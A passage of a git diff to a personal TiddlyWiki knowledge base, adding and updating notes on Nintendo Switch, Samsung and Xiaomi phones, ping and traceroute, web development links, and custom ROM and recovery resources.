problems.\n\n\u003C\u003CLImg \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!! ''Homebrew''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''","tags":"Nintendo Gaming NX Console","title":"Nintendo Switch","modified":"20230206192820604","modifier":"Octt"}, {"created":"20230110214847556","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n","tags":"Internet $:/i18n:en","title":"Nitter:en","modified":"20230206111552254","modifier":"Octt"}, +{"created":"20230207185346822","creator":"Octt","text":"\u003C\u003CMediaWiki Node.js en 3>>\n\n!!! ''Resources''\n\n* [[Node.js HTTP Module|https://www.w3schools.com/nodejs/nodejs_http.asp]]\n","tags":"JavaScript","title":"Node.js","modified":"20230207190003732","modifier":"Octt"}, {"created":"20230203222119146","creator":"Octt","text":"\u003C\u003CMediaWiki NodeMCU en 1>>\n\n* https://www.nodemcu.com/index_en.html","tags":"MCU $:/i18n:en","title":"NodeMCU:en","modified":"20230206111552260","modifier":"Octt"}, {"created":"20230111120518929","creator":"Octt","text":"\u003C\u003CMediaWiki Nonogram en 3>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://jokude.github.io/react-nonogram\">>\n\n!! ''Implementations''\n* https://Nonogram.com","tags":"TODO Puzzle $:/i18n:en Game","title":"Nonogram:en","modified":"20230206203924224","modifier":"Octt"}, {"created":"20230202110151955","creator":"Octt","text":"\u003C\u003CMediaWiki NumWorks en 3>>","tags":"$:/i18n:en","title":"NumWorks:en","modified":"20230206111552271","modifier":"Octt"}, @@ -706,6 +707,7 @@ Error message and password prompt {"created":"20230114124635690","text":"","tags":"Nintendo NDS TODO $:/i18n:en","title":"PictoChat:en","modified":"20230206111552327","modifier":"Octt"}, {"created":"20230129162927271","creator":"Octt","text":"\u003C\u003CMediaWiki Pilotwings en 2>>","tags":"$:/i18n:en","title":"Pilotwings:en","modified":"20230206111552329","modifier":"Octt"}, {"created":"20230130081850637","creator":"Octt","text":"\u003C\u003CMediaWiki Pine64 en 1>>","tags":"$:/i18n:en","title":"Pine64:en","modified":"20230206111552331","modifier":"Octt"}, +{"created":"20230207184928180","creator":"Octt","text":"\u003C\u003CMediaWiki ping_(networking_utility) en 3>>","tags":"Internet","title":"ping","modified":"20230207185014962","modifier":"Octt"}, {"created":"20230114154328830","text":"\u003C\u003CMediaWiki Pixelfed en 2>>\n\n* https://pixelfed.org\n* https://github.com/pixelfed","tags":"Fediverse TODO $:/i18n:en","title":"Pixelfed:en","modified":"20230206111552333","modifier":"Octt"}, {"created":"20230202110726082","creator":"Octt","text":"\u003C\u003CMediaWiki PlayStation_Portable en 3>>","tags":"Gaming Sony Console $:/i18n:en","title":"PlayStation Portable:en","modified":"20230206111552335","modifier":"Octt"}, {"created":"20230205150132792","creator":"Octt","text":"","tags":"TODO","title":"PocketGo","modified":"20230205150144435","modifier":"Octt"}, @@ -721,10 +723,10 @@ Error message and password prompt {"created":"20230116222004372","text":"\u003C\u003CMediaWiki RetroArch en 3>>","tags":"TODO $:/i18n:en","title":"RetroArch:en","modified":"20230206111552351","modifier":"Octt"}, {"created":"20221102121324531","creator":"Octt","text":"\u003C\u003CMediaWiki Retrogaming en 1>>\n\n!! ''Resources''\n\n!!! ''ROMs''\n* [[r/Roms Megathread|https://r-roms.github.io]]\n* [[No-Intro Romsets|https://archive.org/details/no-intro_romsets]]\n* [[Redump Romsets|https://archive.org/details/redump]]\n","tags":"Emulation Retro $:/i18n:en","title":"Retrogaming:en","modified":"20230206111552354","modifier":"Octt"}, {"created":"20230130082004553","creator":"Octt","text":"\u003C\u003CWikipediaFrame Rockchip en 5>>","tags":"$:/i18n:en","title":"Rockchip:en","modified":"20230206111552356","modifier":"Octt"}, -{"created":"20230205143921784","creator":"Octt","text":"","tags":"TODO Android","title":"Samsung Galaxy Ace 4","modified":"20230205144016124","modifier":"Octt"}, -{"created":"20230129163358719","creator":"Octt","text":"\u003C\u003CMediaWiki Samsung_Galaxy_Player en 1>>","tags":"$:/i18n:en","title":"Samsung Galaxy Player:en","modified":"20230206111552359","modifier":"Octt"}, -{"created":"20230205143805811","creator":"Octt","text":"","tags":"Android TODO","title":"Samsung Galaxy S5 Mini","modified":"20230205143840668","modifier":"Octt"}, -{"created":"20230128231917475","creator":"Octt","text":"\u003C\u003CMediaWiki Samsung en 1>>\n\nInside the community, some Samsung products, notably smartphones in general, are called various names:\n\n* ''Lagsung'' (Lag+Samsung): Because their [[OneUI]] Android interface is notoriously laggy, and considered \"gummy\" by some.\n* ''Scamsung'' (Scam+Samsung): The company's smartphones, mainly lowest-end ones, are sometimes considered so low-quality, for various factors, that they are seen as scams.\n* ''Gnusmas'': Just the word \"Samsung\" in reverse. I've only really seen 1 or 2 people use this name, and I don't know its real reason.\n* ''handwarmer'': Referred to the company's [[Exynos]] processors, used in their smartphones; they tended to heat up so much that you could use your phone as an hand warmer (sometimes hand burner!). Although nowadays these chips still have their issues compared to some counterparts, the problem that got them this name is effectively a thing of the past.","tags":"$:/i18n:en","title":"Samsung:en","modified":"20230206111552361","modifier":"Octt"}, +{"created":"20230205143921784","creator":"Octt","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/samsung_galaxy_ace_style_lte_g357-6706.php\">>","tags":"Android Samsung","title":"Samsung Galaxy Ace 4 Style","modified":"20230207183958638","modifier":"Octt"}, +{"created":"20230129163358719","creator":"Octt","text":"\u003C\u003CMediaWiki Samsung_Galaxy_Player en 1>>\n\n!!! ''Galaxy Player 3.6''\n\n* Codename: aalto\n* Product name: Samsung Galaxy Player 3.6\n* Model number: YP-GS1\n\n---\n\n* Resources collection: https://gitlab.com/aalto-stuff","tags":"$:/i18n:en","title":"Samsung Galaxy Player:en","modified":"20230207184656649","modifier":"Octt"}, +{"created":"20230205143805811","creator":"Octt","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/samsung_galaxy_s5_mini-6252.php\">>","tags":"Android Samsung","title":"Samsung Galaxy S5 Mini","modified":"20230207180402256","modifier":"Octt"}, +{"created":"20230128231917475","creator":"Octt","text":"\u003C\u003CMediaWiki Samsung en 1>>\n\nInside the community, some Samsung products, notably smartphones in general, are called various names:\n\n* ''Lagsung'' (Lag+Samsung): Because their [[OneUI]] Android interface is notoriously laggy, and considered \"gummy\" by some.\n* ''Scamsung'' (Scam+Samsung): The company's smartphones, mainly lowest-end ones, are sometimes considered so low-quality, for various factors, that they are seen as scams.\n* ''Gnusmas'': Just the word \"Samsung\" in reverse. I've only really seen 1 or 2 people use this name, and I don't know its real reason.\n* ''handwarmer'': Referred to the company's [[Exynos]] processors, used in their smartphones; they tended to heat up so much that you could use your phone as an hand warmer (sometimes hand burner!). Although nowadays these chips still have their issues compared to some counterparts, the problem that got them this name is effectively a thing of the past.\n","tags":"$:/i18n:en Korea Company","title":"Samsung:en","modified":"20230207191445368","modifier":"Octt"}, {"created":"20230116211104011","creator":"Octt","text":"Random saved links that I should put somewhere...\n\n[Moved to private notes]","tags":"$:/i18n:en","title":"Saved Links","modified":"20230206111552363","modifier":"Octt"}, {"created":"20220924130815541","text":"!!! Replace for all files in all subdirectories\n\n```sh\nfind ./ -type f -exec sed -i \"s/Old/New/g\" {} \\;\n```","tags":"Snippets $:/i18n:en","title":"sed/Snippets","modified":"20230206111552365","modifier":"Octt"}, {"created":"20230205150158602","creator":"Octt","text":"","tags":"TODO","title":"SFTP","modified":"20230205150204743","modifier":"Octt"}, @@ -755,6 +757,7 @@ Error message and password prompt {"created":"20220922163220116","text":"\u003Cstyle>\ntr:nth-child(even) {background-color: #f2f2f2;}\n\u003C/style>","tags":"Snippets TiddlyWiki","title":"TiddlyWiki/Snippets to Test","modified":"20230111082334125"}, {"created":"20230206113426599","creator":"Octt","text":"!!! ''Other Wikis, Plugin Collections''\n\n* [[BrainTest|https://braintest.tiddlyspot.com]] - //tools for a digital brain//\n* [[Calendar|https://tabbed-calendar.tiddlyspot.com]] - //a tabbed picture calendar//\n* [[Joe's Blog|https://joearms.github.io]] - Contains the [[Chandler|https://joearms.github.io/#2018-12-26%20Fun%20with%20the%20TiddlyWiki]] prototype time-management tool\n* [[kookma's codes, macros, and solutions in TW|https://kookma.github.io/TW-Scripts]]\n* [[NoteSelf|https://noteself.org]] - TiddlyWiki fork/flavor with interesting features built-in - [[[Git|https://github.com/NoteSelf]]]\n* [[Projectify|https://thaddeusjiang.github.io/Projectify]] - //Project management for TiddlyWiki// - [[[Git|https://github.com/ThaddeusJiang/Projectify]]]\n* [[Saq's TW5 Sandbox|https://saqimtiaz.github.io/tw5-plugins-sandbox]] - //Experimental doodads//\n* [[Stroll|https://giffmex.org/stroll/stroll.html]] - //A Roam-like experience in a free, downloadable file//\n* [[The public musings of Soren Bjornstad (Zettelkasten)|https://zettelkasten.sorenbjornstad.com]]\n* [[TiddlyMap|http://tiddlymap.org]] - //Map drawing and topic visualization for your wiki!// - [[[Git|https://github.com/felixhayashi/TW5-TiddlyMap]]]\n* [[Tobias Beer's Plugins and Resources|https://tobibeer.github.io]] - [[[Profile|https://tobibeer.github.io/tb5/#Tobias%20Beer]]] [[[Git|https://github.com/tobibeer]]]\n* [[TW5 CPL Wiki|https://tw-cpl.netlify.app]] - //TiddlyWiki5 Plugin Library for TiddlyWiki Chinese Communities//\n* [[TW5 Magick|https://tw5magick.tiddlyspot.com]] - //Some tricks and snippets for TiddlyWiki 5//\n* [[ZemoxWiki|https://zemox.tiddlyspot.com]] - //a haphazard meandering of notes, thoughts, experiments, links...//\n\n!!!! ''Individual Plugins''\n\n* [[CodeMirrorPlus|https://adithya-badidey.github.io/TW5-codemirror-plus/]] - //A better editor for TW5, based on ~CodeMirror// - [[Demo|https://adithya-badidey.github.io/TW5-codemirror-plus/wiki.html]] | [[Git|https://github.com/adithya-badidey/TW5-codemirror-plus]]\n* [[Context Plugin|https://contextplugin.tiddlyspot.com]] - //search with context//\n* [[ECharts|https://tiddly-gittly.github.io/tw-echarts]] [[[Git|https://github.com/tiddly-gittly/tw-echarts]], [[Thread|https://talk.tiddlywiki.org/t/echarts-bringing-amazing-visualization-tools-to-tiddlywiki/1944]]] - //An All-in-one Visualization Framework for TiddlyWiki5 based on ECharts//\n* [[enable-js|http://tobibeer.github.io/tw/enable-js]] - //using inline script tags//\n* [[ibox|https://tobibeer.github.io/tw/ibox]] - //pretty-show images in tw5//\n* [[Relink|https://flibbles.github.io/tw5-relink]] - //flexibility when relinking renamed tiddlers//\n* [[Section Editor|https://kookma.github.io/TW-Section]] - //create, edit, fold, manage sections// - [[Git|https://github.com/kookma/TW-Section]] | [[Prototype discussion|https://talk.tiddlywiki.org/t/section-editor-prototype/951]]\n* [[Syntax-Highlighting Tiny Editor|https://talk.tiddlywiki.org/t/tw5-ready-to-play-prototype-syntax-highlighting-tiny-editor/4569]] (Ready-to-play prototype) - [[Download|https://talk.tiddlywiki.org/uploads/short-url/853ile3OvoeJ9uowpv0YYXnKhSe.json]]\n* [[TWCrossLinks|https://github.com/akhater/TWCrossLinks]] - //Discover all your intra-tiddlers links//","modified":"20230206113802132","modifier":"Octt","title":"TiddlyWiki/ThirdParty","tags":""}, {"created":"20230205143040968","creator":"Octt","text":"\u003C\u003CMediaWiki Tor_(network) en 1>>\n\n* https://www.torproject.org/\n* https://gitlab.torproject.org/tpo/\n","tags":"Internet Privacy","title":"Tor","modified":"20230206222648217","modifier":"Octt"}, +{"created":"20230207175944298","creator":"Octt","text":"\u003C\u003CMediaWiki traceroute en 2>>","tags":"Internet","title":"traceroute","modified":"20230207184923633","modifier":"Octt"}, {"created":"20230130074558332","creator":"Octt","text":"\u003C\u003CMediaWiki Tux_Racer en 3>>","tags":"$:/i18n:en","title":"Tux Racer:en","modified":"20230206111552409","modifier":"Octt"}, {"created":"20230109104324882","text":"\u003C\u003CMediaWiki Twitter en 1>>","tags":"Internet TODO $:/i18n:en","title":"Twitter:en","modified":"20230206111552411","modifier":"Octt"}, {"created":"20230205151025917","creator":"Octt","text":"","tags":"TODO","title":"TWRP","modified":"20230205151249161","modifier":"Octt"}, @@ -765,9 +768,10 @@ Error message and password prompt {"created":"20230205142158067","creator":"Octt","text":"!!! ''Clients''\n\n!!!! ''Android''\n\n* ''AVNC'': [[Git|https://github.com/gujjwal00/avnc]] | \u003C\u003CFDroidLink com.gaurav.avnc>> | \u003C\u003CGPlayLink com.gaurav.avnc>>","tags":"TODO Protocol","title":"VNC","modified":"20230205144518639","modifier":"Octt"}, {"created":"20230113225512278","text":"//wallabag is a self hostable application for saving web pages: Save and classify articles. Read them later. Freely.//\n\n* https://wallabag.org\n* https://github.com/wallabag","tags":"$:/i18n:en","title":"wallabag:en","modified":"20230206111552419","modifier":"Octt"}, {"created":"20220923144125627","text":"The [[Wayback Machine|https://web.archive.org]] is a public website archiving service, provided by the [[Internet Archive|Internet Archive:en]].\n\n[img[https://upload.wikimedia.org/wikipedia/commons/0/01/Wayback_Machine_logo_2010.svg]]\n\nThe project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.","title":"Wayback Machine:en","modified":"20230206111552421","tags":"Archiving Internet $:/i18n:en","modifier":"Octt"}, -{"created":"20230203214532694","creator":"Octt","text":"\u003C\u003CMediaWiki World_Wide_Web en 5>>\n\n!!! ''Tools''\n\n* ''[[ReplayWeb.page|https://replayweb.page/]]'' - //Serverless Web Archive Replay directly in the browser// - [[[Git|https://github.com/webrecorder/replayweb.page]]]\n\n!!! ''Analytics''\n\n* ''[[GoatCounter|https://www.goatcounter.com/]]'' - //Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS// - [[[Git|https://github.com/arp242/goatcounter]]]\n* //Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics //\n\n!!!! ''Development''\n\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n\n!!!!! ''Frameworks''\n\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n\n!!!!! ''Libraries''\n\n* [[FileSaver.js|https://github.com/eligrey/FileSaver.js]] - //An HTML5 saveAs() FileSaver implementation//\n* [[srcdoc-polyfill|https://github.com/jugglinmike/srcdoc-polyfill]] - //A shim for the iFrame \"srcdoc\" attribute//\n","tags":"Internet","title":"Web","modified":"20230206194153784","modifier":"Octt"}, +{"created":"20230203214532694","creator":"Octt","text":"\u003C\u003CMediaWiki World_Wide_Web en 5>>\n\n!!! ''Tools''\n\n* ''[[ReplayWeb.page|https://replayweb.page/]]'' - //Serverless Web Archive Replay directly in the browser// - [[[Git|https://github.com/webrecorder/replayweb.page]]]\n\n!!! ''Analytics''\n\n* ''[[GoatCounter|https://www.goatcounter.com/]]'' - //Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS// - [[[Git|https://github.com/arp242/goatcounter]]]\n* //Others: https://github.com/newTendermint/awesome-analytics | https://github.com/pluja/awesome-privacy#analytics //\n\n!!!! ''Development''\n\n* [[Convert any website into a PWA in just 3 simple steps|https://dev.to/developertharun/convert-any-website-into-a-pwa-in-just-3-simple-steps-35pp]]\n* [[SPA source code recovery by un-Webpacking source maps|https://medium.com/@rarecoil/spa-source-code-recovery-by-un-webpacking-source-maps-ef830fc2351d]] - ''[[unwebpack-sourcemap|https://github.com/rarecoil/unwebpack-sourcemap]]''\n* [[How to inject service-worker.js to a webpage via Chrome Extension? I want to add offline functionality to the existing page|https://stackoverflow.com/questions/72356003/how-to-inject-service-worker-js-to-a-webpage-via-chrome-extension-i-want-to-add]]\n\n!!!!! ''Frameworks''\n\n* ''[[Tauri|https://tauri.app/]]'' - //Use Rust to build desktop and mobile apps with a web frontend// - [[[Git|https://github.com/tauri-apps/]]]\n\n!!!!! ''Libraries''\n\n* [[FileSaver.js|https://github.com/eligrey/FileSaver.js]] - //An HTML5 saveAs() FileSaver implementation//\n* [[srcdoc-polyfill|https://github.com/jugglinmike/srcdoc-polyfill]] - //A shim for the iFrame \"srcdoc\" attribute//\n","tags":"Internet","title":"Web","modified":"20230207192539295","modifier":"Octt"}, {"created":"20230114234058763","text":"List of ''Web Apps'' to keep in mind.\n\n\u003C\u003CDirList \"Apps\">>\n\n\u003C!--\n\u003Cul>\n\u003C$list filter=\"[tag[Apps]tag[Web]]\">\n\u003Cli>\n \u003C$link link=\u003C\u003CcurrentTiddler>>/>\n\u003C/li>\n\u003C/$list>\n\u003C/ul>\n--->\n\n* [[SVG-Edit|https://svgedit.netlify.app/editor]]","tags":"TODO $:/i18n:en","title":"Web Apps","modified":"20230206111552424","modifier":"Octt"}, {"created":"20221103223952562","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries","tags":"Internet $:/i18n:en","title":"Web design ideas","modified":"20230206111552426","modifier":"Octt"}, +{"created":"20230207175931355","creator":"Octt","text":"!!! ''Network''\n\n* [[ping]]\n* [[traceroute]]","tags":"","title":"Webmaster\\Sysadmin Resources","modified":"20230207185026793","modifier":"Octt"}, {"created":"20221103220025295","text":"\u003C\u003CMediaWiki Webring en 4>>\n\n!!! ''List of many Webrings''\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* ✅: Joined\n* 📅: Waiting\n* ❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* ❌: Got rejected\n* ✏️ (or empty): Noted only\n\n---\n\n* ✏️ https://250kb.club, https://512kb.club, https://1mb.club\n* ✅ https://fediring.net\n* ✏️ https://hotlinewebring.club\n* ✏️ https://xhtml.club\n* ✏️ https://webring.xxiivv.com\n* ❓ https://yesterweb.org/webring\n","tags":"Internet TODO $:/i18n:en","title":"Webrings","modified":"20230206111552433","modifier":"Octt"}, {"created":"20230130073530575","creator":"Octt","text":"\u003C\u003CMediaWiki Wget en 1>>","tags":"$:/i18n:en","title":"Wget:en","modified":"20230206111552437","modifier":"Octt"}, {"created":"20221009212222560","creator":"Octt","text":"!! Flags\n\n* Download required page assets: `-p`\n* Convert internal links to relative: `-k`\n* Download entire website (all links from domain + external resources): `--mirror`","tags":"Snippets $:/i18n:en","title":"Wget/Snippets","modified":"20230206203516264","modifier":"Octt"}, @@ -781,7 +785,8 @@ Error message and password prompt {"created":"20220920144224759","text":"!! Multi-Screen Fixes\n\n!!! LG Flatron W1943SS (R) + TV Toshiba (L)\n\n```sh\nxrandr --output DVI-D-0 --addmode DVI-D-0 1920x1080\nxrandr --output DVI-D-0 --mode 1920x1080 -r 60.00\nxrandr --output DVI-D-0 --left-of HDMI-A-0\n```","tags":"Snippets $:/i18n:en","title":"X11/Snippets","modified":"20230206111552465","modifier":"Octt"}, {"created":"20230202230631376","creator":"Octt","text":"\u003C\u003CMediaWiki XDA_Developers en 3>>","tags":"$:/i18n:en","title":"XDA Developers:en","modified":"20230206111552467","modifier":"Octt"}, {"created":"20230130074218718","creator":"Octt","text":"\u003C\u003CMediaWiki Xfce en 3>>","tags":"$:/i18n:en","title":"XFCE:en","modified":"20230206111552470","modifier":"Octt"}, -{"created":"20230205143148006","creator":"Octt","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">>\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://duckduckgo.com/\">> -->\n\n!!! ''Resources''\n\n* TWRP: (I have to find the old thread)\n\n!!!! ''Custom ROMs''","tags":"TODO Android","title":"Xiaomi Redmi 9T","modified":"20230206224001999","modifier":"Octt"}, +{"created":"20230207191250602","creator":"Octt","text":"\u003C\u003CMediaWiki Xiaomi en 3>>\n\n!!! ''Resources''\n\n!!!! ''Mobile devices''\n\n!!!!! ''Firmwares and tools''\n\n* https://xiaomifirmwareupdater.com/\n* https://xiaomirom.com/en/\n* https://mifirm.net/\n","tags":"Company China","title":"Xiaomi","modified":"20230207191924416","modifier":"Octt"}, +{"created":"20230205143148006","creator":"Octt","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">>\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> -->\n\n!!! ''Resources'' (for `lime`, tested working on `lemon`)\n\n* [[TWRP 3.5.A10 Unofficial (BETA)|https://forum.xda-developers.com/t/recovery-3-5-a10-twrp-unnoficial-for-lime-redmi9t-beta.4233045/]] - [[[Download latest|https://androidfilehost.com/?fid=2188818919693773061]]] [[[Git|https://github.com/geoanto555/android_device_xiaomi_lime]]]\n* [[Project Elixir (Android 13)|https://forum.xda-developers.com/t/rom-12-1-juice-chime-project-elixir-v2-x-official.4413741/]] - [[[Downloads|https://www.pling.com/p/1723537/]]]\n","tags":"Android Xiaomi","title":"Xiaomi Redmi 9T","modified":"20230207191007063","modifier":"Octt"}, {"created":"20230202225649145","creator":"Octt","text":"\u003C\u003CWikipediaFrame XML en>>","tags":"$:/i18n:en","title":"XML:en","modified":"20230206111552472","modifier":"Octt"}, {"created":"20230109104559438","text":"\u003C\u003CMediaWiki YouTube en 1>>","tags":"Internet TODO $:/i18n:en","title":"YouTube:en","modified":"20230206111552474","modifier":"Octt"}, {"created":"20230203223632196","creator":"Octt","text":"\u003C\u003CMediaWiki Zettelkasten en 2>>\n\n* Good website about ZK: [[zettelkasten.de|https://zettelkasten.de/]] (CC BY-SA)","tags":"$:/i18n:en","title":"Zettelkasten:en","modified":"20230206111552476","modifier":"Octt"}